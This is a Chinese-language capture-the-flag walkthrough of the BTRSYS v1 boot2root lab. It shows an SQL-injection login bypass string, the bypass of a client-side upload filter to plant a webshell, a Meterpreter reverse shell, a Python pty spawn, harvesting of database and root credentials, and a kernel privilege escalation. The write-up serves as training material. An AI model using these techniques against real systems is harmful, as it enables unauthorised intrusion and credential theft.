This is a boot2root machine particularly educational for beginners.

靶机下载地址:戳我

0x00 前期工作

使用kali探测存活主机,得到BTRSYS: V1靶机的ip为192.168.58.143

探测端口的开放情况:

0x01 信息收集

  • 80端口

使用nikto扫描器扫描到敏感路径(login.php):

login.php中的源代码存在敏感信息,如下所示:

function control(){
    var user = document.getElementById("user").value;
    var pwd = document.getElementById("pwd").value;
	var str=user.substring(user.lastIndexOf("@")+1,user.length);
    if((pwd == "'")){
		alert("Hack Denemesi !!!");
    }
	else if (str!="btrisk.com"){
		alert("Yanlis Kullanici Bilgisi Denemektesiniz");
	}	
	else{
      document.loginform.submit();
    }
}

根据代码来看,用户名需要满足xxx@btrisk.com。使用万能密码可以绕过:

'or 1=1#@btrisk.com

后台页面存在文件上传。

  • 22端口

尝试hydra爆破失败Q Q

0x02 获取权限

因为后台存在文件上传,且源代码里可以看到对上传文件的过滤,所以可以判断此靶机是前端验证:

function getFile(){
    var filename = document.getElementById("dosya").value;
    var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
    if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
		document.myform.submit();
    }else{
        //mesaj
        alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
		return false;
    }
}

上传冰蝎?,上传成功,网站默认把上传的文件放在了uploads文件夹里:

连接成功:

使用Meterpreter反弹shell:

方法一

使用Python搞一个伪终端:

python -c "import pty;pty.spawn('/bin/bash')"

查看到网站根目录下有config.php:

<?php
/////////////////////////////////////////////////////////////////////////////////////////
$con=mysqli_connect("localhost","root","toor","deneme");
if (mysqli_connect_errno())
  {
  echo "Mysql Bağlantı hatası!: " . mysqli_connect_error();
  }
/////////////////////////////////////////////////////////////////////////////////////////
?>

成功进入mysql:

show databases;
use deneme;
show tables;
select * from user;

得到用户名和密码:

ssh连接,用户名root密码asd123***成功连接^ ^

方法二

查看systeminfo信息:

搜索该系统是否存在漏洞:

上传到靶机:

编译,提权成功